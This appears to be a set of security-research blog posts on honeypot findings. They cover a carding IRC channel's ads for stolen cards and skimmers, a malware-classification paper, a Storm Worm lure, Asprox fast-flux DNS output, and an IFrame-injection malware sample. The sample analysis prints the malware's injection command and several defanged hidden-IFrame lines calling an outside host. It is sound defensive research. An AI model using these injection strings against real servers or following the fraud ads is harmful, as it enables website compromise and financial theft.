malware

Several days ago I blogged about a compromise of our honeypots in which the attacker joined the IRC channel #CCpower. Such a channel is commonly used by attackers to trade stolen credentials like credit cards, ATM pins, social security numbers, or similar things. Again, a small excerpt from within this channel:

- USA-DUMPS: I HAVE VIRGIN USA DUMPS FOR SHOPPING (WITHOUT PIN). LOOKING FOR REAL US CASHIER FOR LONG TERM RELATIONSHIP. MY YAHOO MESSENGER ID IS : DUMPS_SELLER ! RIPPERS DON'T WASTE MY TIME! CONTACT ME ONLY IF YOU'RE FOR REAL. THANK YOU!.

- cards: Selling USA dumps for shopping /msg cards- for details..

- User2: Carti Fullz,Paypal Fullz,user eBay, Root,Remote Desktop, Loginuri Wells si boa Sockuri ...etc..Care esti afara sau ai ceva point de facut bani prv me!!POt sa dau Spam pe oRice BAnca NUMAI DE STATE inclusiv eBay si Paypal daca ai pont!!!.

- vendors: Spamming for HSBC, Halifax, CIBC. e-trade bank logins. Selling UK, USA, Swedish, Australian cvvs..

- HenryMtcn: Cashouting Uk BanK Logins Halifax Abbey and Natwest Share Guarranted..

- zoRnking: I searching good deals.. with sure (100%) cashout - out rippers - because i work with money upfront on the first deal and the get back after cashout - /msg zoRnking if you accept my rules or add my YM: zornunhackXXX@yahoo.com.

- MSR206: Selling atm skimmer + MSR206 with 5 blank magnetic cards , video available for checking the items pvt me for info.

- Zenq: Vand Carti Fresh Full Info & Cvv2 (AU,CA,UK,US,IT,SP,EU),Dumpsuri With Pin and Track1,Track2 and Track3 Luate Cu Cipul sau cu Gura de Skimmeri.........Logine Full (Carte + user & password) (BOA,RBC,Desjardins,Paypal,Intesa,Poste.it,Wamu,Wachoavia,Chase,MoneyBookers),Usere Ebay(Seller & Buyer)..RIPPERS OUT (My Contact ICQ = 3972973XX)

Two comments on the previous blog entry pointed out that these channels are commonly used for scams. The first one:

And for the article, I was hanging around on different ccpower networks since the beginning, 90% of these deals are ripoffs. Poor scum nigerians and romanians try to make 20$ deals by ripping eachother off. This is just a PUG what you find on undernet and different networks like unixirc, linuxirc. These people not even criminals just losers in life. I wouldn't bother wasting too much time for watching them. Won't do any good. You will never find any serious criminal group on the internet, since their trust builds in real life.

And the second one:

lol he said the truth!! most of them are rippers and scum bags..and yes, trust is built in real life not on internet!

Does anybody have more information on this topic, for example evidence that the trading activity in these channels is commonly scam and also some kind of proof? I am interested in this topic since the implication would be that the paper by Franklin et al. on the underground economy ("An Inquiry into the Nature and Causes of the Wealth of Internet Miscreants") is not completely right - it would greatly overestimate the real size of the underground economy. Please leave a comment or send me an e-mail to thorsten.holz [at] gmail.com.

Today and tomorrow DIMVA'08 takes place in Paris. DIMVA'08 is the Fifth Conference on Detection of Intrusions and Malware & Vulnerability Assessment and organized by the special interest group SIDAR of the German Informatics Society (GI).

Our paper entitled "Learning and Classification of Malware Behavior" is a joint work with Konrad Rieck, Carsten Willems, Patrick Düssel, Pavel Laskov, and Felix Freiling. The paper deals with malware classification, i.e., how to automatically learn malware families using labels. We use (noisy) labels by an anti-virus product and then apply machine learning algorithms to classify malware based on execution traces generated with the help of CWSandbox. In an experiment with over 3,000 previously undetected malware binaries, our system correctly predicted almost 70% of labels assigned by an anti-virus scanner four weeks later. Our method also detects unknown behavior, so that malware families not present in the learning corpus are correctly identified as unknown. The analysis of prominent features inferred by our discriminative models has shown interesting similarities between malware families; in particular, we have discovered that Doomber and Gobot worms derive from the same origin, with Doomber being an extension of Gobot - all in an automated way.

Abstract:
Malicious software in form of Internet worms, computer viruses, and Trojan horses poses a major threat to the security of networked systems. The diversity and amount of its variants severely undermine the effectiveness of classical signature-based detection. Yet variants of malware families share typical behavioral patterns reflecting its origin and purpose. We aim to exploit these shared patterns for classification of malware and propose a method for learning and discrimination of malware behavior. Our method proceeds in three stages: (a) behavior of collected malware is monitored in a sandbox environment, (b) based on a corpus of malware labeled by an anti-virus scanner a malware behavior classifier is trained using learning techniques and (c) discriminative features of the behavior models are ranked for explanation of classification decisions. Experiments with different heterogeneous test data collected over several months using honeypots demonstrate the effectiveness of our method, especially in detecting novel instances of malware families previously not recognized by commercial anti-virus software.

The full paper is now available.

Tonight the Storm Worm botnet changed the propagation theme again. They have a bogus story, but an interesting picture:

Just now US Army's Delta Force and U.S. Air Force have invaded Iran. Approximately 20000 soldiers crossed the border into Iran and broke down the Iran's Army resistance. The video made by US soldier was received today morning. Click on the video to see first minutes of the beginning of the World War III. God save us.

The directory structure of the website is similar to the previous campaigns:

• A file called ind.php is included which contains a couple of exploits for common web browser vulnerabilities.
• The actual Storm Worm binary is called iran_occupation.exe and it behaves similar to previous versions

So actually nothing really new at the botnet side...
Warning: Please do not visit the website visible in the screenshot, it may harm your computer.

Danmec/Asprox is an SQL injection attack tool that is responsible for some aspects of the recent wave of SQL injections (full list maintained by ShadowServer). This malware also uses fast-flux techniques to host some facets of the attacks. Since a few days, the attackers also use the .mobi TLD - the first time I see this TLD being abused this way by malware. The following listing shows the results of a DNS lookup for one of the .mobi domains:

$ dig allocbn.mobi

; <<>> DiG 9.3.4 <<>> allocbn.mobi
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26203
;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 4, ADDITIONAL: 0

;; QUESTION SECTION:
;allocbn.mobi. IN A

;; ANSWER SECTION:
allocbn.mobi. 600 IN A 200.167.230.85
allocbn.mobi. 600 IN A 69.247.175.135
allocbn.mobi. 600 IN A 71.56.42.87
allocbn.mobi. 600 IN A 72.187.108.240
allocbn.mobi. 600 IN A 74.138.199.132
allocbn.mobi. 600 IN A 75.66.193.0
allocbn.mobi. 600 IN A 75.143.150.108
allocbn.mobi. 600 IN A 76.175.178.111
allocbn.mobi. 600 IN A 98.165.213.34
allocbn.mobi. 600 IN A 98.192.74.13
allocbn.mobi. 600 IN A 98.223.61.12
allocbn.mobi. 600 IN A 99.233.217.232
allocbn.mobi. 600 IN A 118.160.173.122
allocbn.mobi. 600 IN A 190.18.116.54

The DNS answer has a short time to live (600 seconds - 10 minutes) and the IP addresses are located in many different networks - a typical sign for fast-flux techniques. Most IP addresses are located in dial-up networks like Comcast and Roadrunner, presumably these machines are infected and compromised machines. When doing a DNS lookup a couple of minutes later, a different set of IP addresses is returned:

;; ANSWER SECTION:
allocbn.mobi. 493 IN A 208.107.82.31 [NEW]
allocbn.mobi. 493 IN A 71.56.42.87
allocbn.mobi. 493 IN A 72.177.224.125 [NEW]
allocbn.mobi. 493 IN A 72.187.175.42 [NEW]
allocbn.mobi. 493 IN A 75.143.150.108
allocbn.mobi. 493 IN A 76.171.151.145 [NEW]
allocbn.mobi. 493 IN A 76.175.178.111
allocbn.mobi. 493 IN A 81.203.14.159 [NEW]
allocbn.mobi. 493 IN A 92.233.227.123 [NEW]
allocbn.mobi. 493 IN A 98.165.213.34
allocbn.mobi. 493 IN A 98.192.74.13
allocbn.mobi. 493 IN A 98.223.61.12
allocbn.mobi. 493 IN A 99.233.217.232
allocbn.mobi. 493 IN A 156.34.132.62 [NEW]

This indicates the "fluxiness" of the domain. By DNS mining, i.e., performing DNS lookups of this domain every TTL +1 seconds, we can observe the botnet behind this attack. In the past week, we found about 1,000 unique bot IP addresses this way.

Attacks against web servers are en vogue nowadays. This can be mass SQL injection attacks that insert malicious JavaScript into web sites or other forms of IFrame injection attacks.

Today we analyzed a malware sample that performs such IFrame injection attacks. The executable with MD5 hash e3e3eb9e00745537a17311a48ddcfd6d is detected by Kaspersky as Backdoor.Win32.Agent.fjs or by ClamAV as PUA.Packed.NPack-3. When executed, the sample creates several files on the hard disk: it drops several benign DLLs such as wpcap.dll and npptools.dll which are all related to packet processing. Furthermore, two executables 3.tmp and 6.tmp are created.

Then the file 6.tmp is executed with the command line parameter

-idx 0 -ip $IP-RANGE -port 80 -insert "< if rame sr c="hXXp://www.XXX.cn/index.htm" width=0 height=0 frameborder=0>"

The intention is that the infected machines should scan a specific network range for web servers on port 80 and then try to inject a specific IFrame into vulnerable servers.

An analysis of the injected site leads to more malware. The HTML file contains for example four more IFrames:

IF RAME sr c="hXXp://www.XXX.cn/index.files/flash.htm" frameBorder=0 width=100 scrolling=no height=1>
IF RAME sr c="hXXp://www.XXX.cn/index.files/real.htm" frameBorder=0 width=100 scrolling=no height=1>
IF RAME sr c="hXXp://www.XXX.cn/index.files/614.htm" frameBorder=0 width=100 scrolling=no height=1>
IF RAME sr c="hXXp://www.XXX.cn/web/index.htm" frameBorder=0 width=100 scrolling=no height=1>

As the names suggest, these IFrames contain exploits against well-known vulnerabilities in applications such as Flash or Real Player 11. Each of these exploits tries to install additional malware.